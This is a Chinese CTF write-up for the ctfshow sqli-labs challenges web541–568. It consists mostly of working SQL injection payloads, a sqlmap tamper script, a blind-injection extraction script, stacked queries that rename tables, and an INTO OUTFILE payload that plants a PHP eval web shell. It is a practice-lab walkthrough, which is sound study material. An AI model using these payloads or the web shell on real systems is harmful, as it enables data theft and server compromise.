所有题目均可sqlmap一把梭，不多解释，不能跑的加上ua
get类型的可以参考以前写的，或者康康国光大佬的wp，y4大佬的wp
第二批放题，简单记录一下喽
web541 | 542
过滤and，or，双写就行，或者报错
?id=1'||extractvalue(1,concat(0x7e,database()))--+
542没回显，联合吧或者sqlmap一样的脚本
sqlmap:py2 .\sqlmap.py -u "http://2056108f-ddb9-43d0-9891-c35685a76efd.challenge.ctf.show:8080/?id=1" --batch --random-agent -o --tamper=ctfshow -D ctfshow --tables --dump
# encoding: utf-8
# @Author: yq1ng
# @Date: 2021-4-11
# @challenges： sqli-labs
import base64
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL # 当前脚本调用优先等级
def dependencies(): # 声明当前脚本适用/不适用的范围，可以为空。
pass
def tamper(payload, **kwargs): # 用于篡改Payload、以及请求头的主要函数
payload = web541(payload)
print(payload)
return payload
def web541(payload):
payload= payload.replace('OR' , 'OORR')
payload= payload.replace('AND' , 'ANANDD')
retVal=payload
return retValweb543
空格过滤死死的，用了括号
http://94256792-870c-4ea3-8acb-205257fb8bb5.challenge.ctf.show:8080/?id=1'||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='ctfshow'))))||'1'='1
http://94256792-870c-4ea3-8acb-205257fb8bb5.challenge.ctf.show:8080/?id=1'||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='flags'))))||'1'='1
需要取两次：http://94256792-870c-4ea3-8acb-205257fb8bb5.challenge.ctf.show:8080/?id=1'||extractvalue(1,concat(0x7e,(select(right(flag4s,20))from(ctfshow.flags))))||'1'='1
web544
无回显
# -*- coding: utf-8 -*-
# @Author: yq1ng
# @Date: 2021-04-11 10:45:01
# @Last Modified by: yq1ng
# @Last Modified time: 2021-04-11 11:07:44
import requests
url = 'http://98462c9d-eb85-4717-bb57-ce38629b128c.challenge.ctf.show:8080/'
session = requests.Session()
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
# payload = f"?id=0'||if(ascii(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='ctfshow')),{i},1))>{mid},1,0)||'0"
# flags
# payload = f"?id=0'||if(ascii(substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='flags')),{i},1))>{mid},1,0)||'0"
# id,flag4s
payload = f"?id=0'||if(ascii(substr((select(group_concat(flag4s))from(ctfshow.flags)),{i},1))>{mid},1,0)||'0"
r = session.get(url + payload)
if 'Dumb' in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)web545
select–>selecT,脚本同上
web546
拼接方式：id="$id"，脚本单引号变双引号
web547 | 548
id=('$id')
web549
着重login.php
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
//disable error reporting
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$qs = $_SERVER['QUERY_STRING'];//接受所有参数
$hint=$qs;
$id1=java_implimentation($qs);
$id=$_GET['id'];
//echo $id1;
whitelist($id1);
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
漏洞处
$qs = $_SERVER['QUERY_STRING'];//接受所有参数
$hint=$qs;
$id1=java_implimentation($qs);//过滤严格，id不是数字跳转到hack.php
$id=$_GET['id'];
//echo $id1;
whitelist($id1);构造两个id参数，index.php?id=1&id=2，Apache PHP 会解析最后一个参数，Tomcat JSP 会解析第一个参数
payload：/index.php?id=1&id=-2' union select 1,2,(select group_concat(flag4s) from ctfshow.flags)--+
web550
拼接：id="$id"，同上
web551
拼接：id=("$id")
web552 | 553
宽字节，自行百度
?id=-1%df' union select 1,2,(select group_concat(flag4s) from ctfshow.flags)--+
web554
国光大佬那里学来的，MySQL 注入天书这里介绍了一个新的方法
将 utf-8 转换为 utf-16 或 utf-32，例如将 ' 转为 utf-16 为�
[root@yq1ng ~]# echo \'|iconv -f utf-8 -t utf-16
��'
[root@yq1ng ~]# echo \'|iconv -f utf-8 -t utf-32
��'用�代表'
�' and 1=2 union select 1,(select group_concat(flag4s) from ctfshow.flags)#
web555
额，这个拼接是$id=$id，没有单引号，但是过滤规则是
$id=check_addslashes($_GET['id']);
function check_addslashes($string)
{
$string = addslashes($string);
return $string;
}但是出flag并不需要单引号，哈哈，也就是无过滤
?id=-1 union select 1,2,(select group_concat(flag4s) from ctfshow.flags)--+
web556 | 557
用宽字节或者�'都行
web558
堆叠，只想上分联合注入就可出?id=-1' union select 1,2,(select group_concat(flag4s) from ctfshow.flags)--+
堆叠方法和强网杯随便注一样, ?id=1';CREATE TABLE flags SELECT * FROM ctfshow.flags;rename table users to a;rename table flags to users;
然后?id=1
web559
拼接：id=$id
web560
拼接：id=('$id')
web561
拼接: id=$id
web562 | 563
login_password=-1'union select 1,(select group_concat(flag4s)from(ctfshow.flags)),3%23&login_user=admin&mysubmit=Login
web564
http://52e97398-22b4-4cda-a51d-d9de4ccd4bc4.challenge.ctf.show:8080/?sort=extractvalue(0x0a,concat(0x0a,(select group_concat(flag4s)from(ctfshow.flags))))%23
http://52e97398-22b4-4cda-a51d-d9de4ccd4bc4.challenge.ctf.show:8080/?sort=extractvalue(0x0a,concat(0x0a,(select right(flag4s,20)from(ctfshow.flags))))%23
web565
http://458cbeae-03ce-4360-bc66-5a43fe6f3717.challenge.ctf.show:8080/?sort=1' and extractvalue(0x0a,concat(0x0a,(select group_concat(flag4s)from(ctfshow.flags))))%23
http://458cbeae-03ce-4360-bc66-5a43fe6f3717.challenge.ctf.show:8080/?sort=1' and extractvalue(0x0a,concat(0x0a,(select right(flag4s,20)from(ctfshow.flags))))%23
web566 | 567 | 568
蓝狗直接 sqlmap
或者试试前面的 payload ，有的可以用的
或者用 y4 师傅的写 shell ：http://1f49d8bd-ed29-4f51-b148-0cfa37cbff65.challenge.ctf.show:8080/?sort=1%20into%20outfile%20%22/var/www/html/1.php%22lines%20terminated%20by%200x3c3f706870206576616c28245f504f53545b315d293b3f3e2020--+
蚁剑连接，修改 index.php 的 sql 语句 $sql="select group_concat(flag4s)from(ctfshow.flags)"; ，再随便传个 sort 就行
